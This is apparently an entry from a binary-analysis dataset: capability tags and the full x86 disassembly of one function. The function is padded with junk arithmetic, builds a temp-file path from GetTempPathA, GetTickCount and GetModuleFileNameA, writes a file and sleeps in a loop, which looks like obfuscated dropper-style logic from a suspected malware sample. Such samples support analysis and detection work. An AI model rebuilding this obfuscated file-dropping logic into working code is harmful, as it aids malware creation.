Function at 0x408dc0
Capabilities:
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41e428
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
mov eax, dword [0x426120]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push esi
push edi
mov eax, dword [0x426120]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
fldz
xor eax, eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x6c], eax
fst qword [esp + 0x44]
xor ecx, ecx
mov word [esp + 0x28], cx
xor edx, edx
mov word [esp + 0x2c], dx
mov dword [esp + 0x68], eax
fstp qword [esp + 0x5c]
mov word [esp + 0x30], cx
mov word [esp + 0x18], dx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x98], 0xf
mov dword [esp + 0x94], eax
mov byte [esp + 0x84], al
push 0x118
mov dword [esp + 0xf4], eax
call fcn.0040b0eb
push eax
mov dword [esp + 0x70], eax
call fcn.00403440
add esp, 8
push 0
call fcn.0040af3a
mov esi, dword [esp + 0x44]
add esp, 4
cmp edx, esi
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edx
jg 0x408ea3
jl 0x408e95
cmp eax, dword [esp + 0x3c]
jae 0x408ea3
xor esi, esi
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], esi
mov ecx, eax
sub ecx, dword [esp + 0x3c]
mov edi, edx
sbb edi, esi
mov dword [esp + 0x20], edi
js 0x4097a1
jg 0x408ec5
cmp ecx, 0x708
jbe 0x4097a1
mov edi, eax
mov dword [esp + 0x3c], eax
mov eax, dword [0x42601c]
shr edi, 9
add eax, 0x73cd42d5
cmp eax, 0x6391f406
mov dword [esp + 0x40], edx
mov dword [esp + 0x70], 0
mov dword [esp + 0x54], edi
jg 0x408f07
mov cx, word [esp + 0x30]
movsx edx, cx
add edx, 0x120c299b
mov dword [0x425248], edx
inc dword [esp + 0x30]
mov eax, dword [esp + 0x4c]
add eax, 0xfe90aab
mov dword [esp + 0x38], eax
fild dword [esp + 0x38]
push 0x408
lea ebx, [edi + 0x55]
push 0x423100
fmul dword [0x425fec]
mov dword [esp + 0x24], ebx
fstp dword [0x425fec]
dec dword [esp + 0x54]
call fcn.00401520
push 0xd
push 0x4241b8
mov dword [esp + 0x68], eax
call fcn.00401520
mov esi, eax
push 0xaf1
push 0x424470
mov dword [esp + 0x68], esi
call fcn.00401520
fld qword [esp + 0x74]
fadd qword [0x41f350]
mov edx, 0x57c9d9b6
mov dword [esp + 0x50], eax
add esp, 0x18
fstp qword [esp + 0x5c]
mov ecx, dword [0x424fb0]
sub edx, ecx
mov dword [esp + 0x34], edx
fild dword [esp + 0x34]
fld qword [esp + 0x5c]
fucompp
fnstsw ax
test ah, 0x44
jp 0x408fc4
inc dword [0x4239cc]
mov eax, dword [0x4239cc]
mov ecx, 0xb40d44e8
sub ecx, eax
cmp ecx, 0xc6c31f90
jge 0x408fc4
movzx edx, word [esp + 0x18]
imul edx, edx, 0x442a3bd6
mov word [esp + 0x18], dx
push 0x31e
push 0x4235d0
call fcn.00401520
add esp, 8
mov dword [esp + 0x34], eax
cmp edi, ebx
je 0x4094aa
fld qword [0x4251f8]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
push 0
fsub qword [esp + 0x48]
mov ecx, dword [0x427920]
push ecx
fsubp st(1)
fstp qword [0x4251f8]
call fcn.004018e0
add esp, 8
test eax, eax
jne 0x40902a
mov edx, dword [0x427928]
mov eax, dword [0x427464]
push edx
push eax
call fcn.00402390
add esp, 8
mov ecx, dword [esp + 0x54]
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
push ecx
push edx
push eax
lea ecx, [esp + 0xa8]
push ecx
call fcn.00402a20
mov dx, word [0x425ffc]
movzx ecx, word [0x425218]
movsx eax, dx
lea edx, [ecx + eax + 0x52aa0881]
push 0x8b
push 0x4241f8
mov word [0x425218], dx
call fcn.00401520
mov ebx, eax
mov eax, dword [esp + 0x68]
add esp, 0x18
mov esi, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409080
mov edi, ebx
sub eax, esi
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x409090
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x2710
mov ecx, eax
push 0
and ecx, 3
lea eax, [esp + 0x88]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xa8]
push ebx
push ecx
call fcn.00408640
xor edx, edx
fldz
push 0x8b
push edx
fstp dword [esp + 0x2c]
mov word [esp + 0x2c], dx
push ebx
call fcn.0040b530
push ebx
call fcn.0040b00e
inc dword [esp + 0x4c]
fld qword [0x423588]
fadd qword [0x41f350]
add esp, 0x24
fstp qword [0x423588]
mov eax, dword [0x425234]
mov cx, word [esp + 0x28]
movsx edx, cx
mov dword [esp + 0x10], eax
sub edx, 0x215eebbc
fild dword [esp + 0x10]
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fsub qword [0x423588]
fsubp st(1)
call fcn.0040b5b0
cmp dword [esp + 0x98], 0x10
mov dword [0x425234], eax
mov eax, dword [esp + 0x84]
jae 0x409148
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x58]
push ecx
push eax
push edx
call fcn.00407fb0
add esp, 0xc
cmp eax, 9
jl 0x409467
mov ecx, dword [esp + 0x84]
mov edi, 0x10
cmp dword [esp + 0x98], edi
jae 0x409183
lea ecx, [esp + 0x84]
mov edx, dword [ecx]
xor ecx, ecx
cmp ecx, dword [esp + 0x78]
jl 0x409467
jg 0x40919d
cmp edx, dword [esp + 0x74]
jb 0x409467
lea esi, [eax - 1]
cmp esi, dword [esp + 0x94]
jbe 0x4091ae
call fcn.0040b800
mov eax, dword [esp + 0x84]
cmp dword [esp + 0x98], edi
jae 0x4091c5
lea eax, [esp + 0x84]
mov byte [eax + esi], 0
mov esi, dword [esp + 0x98]
mov ebx, dword [esp + 0x84]
mov eax, ebx
cmp esi, edi
jae 0x4091e4
lea eax, [esp + 0x84]
lea ecx, [esp + 0x9c]
add eax, 8
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409210
test dl, dl
je 0x40920c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409210
add eax, 2
add ecx, 2
test dl, dl
jne 0x4091f0
xor eax, eax
jmp 0x409215
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x409467
cmp esi, edi
jb 0x40934b
mov edi, ebx
test ebx, ebx
je 0x409258
mov eax, ebx
cmp esi, 0x10
jae 0x409239
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x409258
mov eax, ebx
cmp esi, 0x10
jae 0x40924b
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
add eax, ecx
cmp edi, eax
jbe 0x409264
call fcn.0040b800
mov ecx, dword [esp + 0x94]
lea esi, [esp + 0x80]
mov ebx, edi
mov edx, dword [esp + 0x98]
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x409287
lea eax, [esp + 0x84]
lea edi, [eax + ecx]
test edi, edi
je 0x4092be
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x4092a1
lea eax, [esp + 0x84]
cmp eax, edi
ja 0x4092be
mov eax, dword [esp + 0x84]
cmp edx, 0x10
jae 0x4092b8
lea eax, [esp + 0x84]
add eax, ecx
cmp edi, eax
jbe 0x4092c3
call fcn.0040b800
cmp esi, 0xfffffffc
je 0x4092dc
test esi, esi
je 0x4092d7
lea eax, [esp + 0x80]
cmp esi, eax
je 0x4092dc
call fcn.0040b800
cmp ebx, edi
je 0x4093b4
fld qword [0x424f98]
mov cx, word [esp + 0x2c]
movsx edx, cx
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fsubp st(1)
fcomp qword [0x41f968]
fnstsw ax
fld qword [0x424f98]
fadd qword [0x41f350]
fstp qword [0x424f98]
test ah, 0x41
jp 0x409332
mov eax, dword [esp + 0x6c]
add eax, 0x4359833c
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
fstp qword [0x425f10]
cmp esi, 0xfffffffc
je 0x409368
test esi, esi
jne 0x409340
call fcn.0040b800
cmp dword [esi + 0x18], 0x10
jb 0x409357
mov eax, dword [esi + 4]
jmp 0x40935a
lea edi, [esp + 0x84]
jmp 0x40922b
lea eax, [esi + 4]
mov ecx, dword [esi + 0x14]
add ecx, eax
cmp ebx, ecx
jb 0x409368
call fcn.0040b800
mov byte [ebx], 0
cmp esi, 0xfffffffc
je 0x409395
test esi, esi
jne 0x409379
call fcn.0040b800
cmp dword [esi + 0x18], 0x10
jb 0x409384
mov eax, dword [esi + 4]
jmp 0x409387
lea eax, [esi + 4]
mov edx, dword [esi + 0x14]
add edx, eax
cmp ebx, edx
jb 0x409395
call fcn.0040b800
fld dword [0x424300]
mov ecx, dword [esp + 0x94]
fsub qword [0x41f960]
inc ebx
fstp dword [0x424300]
jmp 0x40926d
push 0x7e
push 0x4241f8
call fcn.00401520
push 0
mov esi, eax
push 0
lea eax, [esp + 0x90]
push eax
lea ecx, [esp + 0xb0]
push esi
push ecx
call fcn.00408640
fldz
xor edx, edx
fstp dword [esp + 0x2c]
push 0x7e
push edx
mov word [esp + 0x34], dx
push esi
call fcn.0040b530
push esi
call fcn.0040b00e
push 0xc
push 0x4239f0
call fcn.00401520
fld qword [esp + 0x90]
fadd qword [0x41f958]
add esp, 0x34
mov esi, eax
lea ecx, [eax + 1]
fstp qword [esp + 0x5c]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x409420
sub eax, ecx
push eax
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x8c]
call fcn.00404a30
fldz
mov edi, eax
fstp dword [esp + 0x10]
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
push esi
mov word [esp + 0x14], ax
mov dword [esi + 8], eax
call fcn.0040b00e
mov ecx, dword [esp + 0x98]
add ecx, 0xfffffff5
add esp, 4
cmp edi, ecx
je 0x40947c
mov eax, dword [esp + 0x54]
inc eax
mov dword [esp + 0x54], eax
cmp eax, dword [esp + 0x1c]
jne 0x408fe2
jmp 0x4094a6
push 0xb
push edi
lea ecx, [esp + 0x88]
call fcn.00405ea0
mov dx, word [esp + 0x2c]
mov ecx, dword [esp + 0x14]
movsx eax, dx
imul eax, ecx
mov dword [esp + 0x70], 1
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0x50]
fldz
mov edi, dword [esp + 0x58]
xor edx, edx
fstp dword [esp + 0x1c]
push 0x408
push edx
mov word [esp + 0x18], dx
push edi
call fcn.0040b530
push edi
call fcn.0040b00e
inc dword [esp + 0x24]
fld qword [esp + 0x54]
mov eax, dword [esp + 0x24]
add eax, 0x1c3129b8
mov dword [esp + 0x2c], eax
fild dword [esp + 0x2c]
add esp, 0x10
fucompp
fnstsw ax
fld qword [esp + 0x44]
fadd qword [0x41f350]
fstp qword [esp + 0x44]
test ah, 0x44
jp 0x40951c
mov cx, word [0x423cb4]
movzx edx, word [esp + 0x30]
movsx eax, cx
sub eax, edx
add eax, 0x2108bd74
mov word [0x423cb4], ax
fldz
xor eax, eax
mov dword [esi], eax
fstp dword [esp + 0x1c]
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov word [esp + 0x10], ax
push esi
mov byte [esi + 0xc], al
call fcn.0040b00e
fldz
mov esi, dword [esp + 0x38]
fstp dword [esp + 0x20]
xor ecx, ecx
push 0x31e
push ecx
mov word [esp + 0x1c], cx
push esi
call fcn.0040b530
push esi
call fcn.0040b00e
fldz
mov esi, dword [esp + 0x4c]
fstp dword [esp + 0x30]
xor edx, edx
push 0xaf1
push edx
push esi
mov word [esp + 0x30], dx
call fcn.0040b530
push esi
call fcn.0040b00e
push 0x40
lea eax, [esp + 0xc4]
push 0
push eax
call fcn.0040b530
add esp, 0x30
cmp dword [esp + 0x70], 0
je 0x4097a1
mov ecx, dword [esp + 0x68]
push 0x708
push ecx
call fcn.004036f0
mov edx, dword [0x42392c]
sub edx, 0x7f94d52a
mov dword [esp + 0x24], edx
fild dword [esp + 0x24]
add esp, 8
fmul qword [esp + 0x44]
cmp dword [esp + 0x94], 0x200
fstp qword [esp + 0x44]
jbe 0x4097a1
push 0x370
call fcn.0040b0eb
add esp, 4
mov ebx, eax
push ebx
push 0xeb
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push ebx
call fcn.00403330
push 3
push 0x425fb4
call fcn.00401520
mov esi, eax
push esi
push ebx
call fcn.0040bdad
fldz
mov edi, eax
fstp dword [esp + 0x34]
xor eax, eax
mov word [esi], ax
push esi
mov word [esp + 0x2c], ax
mov byte [esi + 2], al
call fcn.0040b00e
mov eax, dword [esp + 0xa0]
add esp, 0x1c
cmp dword [esp + 0x98], 0x10
jae 0x409651
lea eax, [esp + 0x84]
mov ecx, dword [esp + 0x94]
push edi
push 1
push ecx
push eax
call fcn.0040bfd5
push edi
call fcn.0040b953
mov edx, dword [0x42392c]
add esp, 0x14
mov eax, 0x1f007534
sub eax, edx
add dword [esp + 0x14], eax
push 0x104
lea eax, [ebx + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x15
push 0x423550
call fcn.00401520
push 0x20
push 0x4230e0
mov edi, eax
call fcn.00401520
mov esi, eax
mov eax, dword [0x427920]
push eax
push esi
lea eax, [ebx + 0x104]
push eax
push edi
lea eax, [ebx + 0x208]
push 0x168
push eax
call fcn.0040bdc4
fldz
xor eax, eax
fstp dword [esp + 0x44]
mov dword [esi], eax
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
xor ecx, ecx
mov dword [esi + 0x18], eax
mov word [esp + 0x38], cx
push esi
mov dword [esi + 0x1c], eax
call fcn.0040b00e
fldz
xor eax, eax
fstp dword [esp + 0x48]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
xor edx, edx
mov dword [edi + 0x10], eax
mov word [esp + 0x3c], dx
push edi
mov byte [edi + 0x14], al
call fcn.0040b00e
mov eax, dword [0x427920]
push 1
push eax
call fcn.004018e0
mov cx, word [0x425f90]
movsx edx, cx
sub edx, 0x2a450704
add esp, 0x38
cmp edx, 0xce4e3cef
jne 0x409758
fld dword [0x4242bc]
fsub qword [0x41f950]
fstp dword [0x4242bc]
lea eax, [ebx + 0x208]
push eax
push ebx
call fcn.00402390
inc dword [esp + 0x30]
mov ax, word [esp + 0x30]
movsx ecx, ax
mov edx, 0xb9bbaf95
sub edx, ecx
add edx, dword [esp + 0x1c]
push 0x370
push 0
push ebx
mov dword [esp + 0x28], edx
call fcn.0040b530
push ebx
call fcn.0040b00e
add esp, 0x18
push 0x15f90
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [esp + 0x18]
imul eax, eax, 0xc344b15
mov word [esp + 0x18], ax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
fld dword [0x424448]
fsubr qword [0x41f948]
fcomp qword [0x41f940]
fnstsw ax
fld dword [0x424448]
fadd qword [0x41f350]
fstp dword [0x424448]
test ah, 0x44
jp 0x409813
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x1c], ecx
fild dword [esp + 0x1c]
fadd qword [0x426008]
mov edx, dword [0x423568]
mov dword [esp + 0x1c], edx
fild dword [esp + 0x1c]
faddp st(1)
call fcn.0040b5b0
mov dword [0x423568], eax
mov eax, dword [0x427920]
push 0
push eax
call fcn.004018e0
add esp, 8
test eax, eax
jne 0x408e73
fld qword [esp + 0x44]
fsub qword [esp + 0x44]
call fcn.0040b5b0
mov ecx, dword [0x427928]
mov edx, dword [0x427464]
push ecx
push edx
mov dword [0x425f78], eax
call fcn.00402390
jmp 0x408e70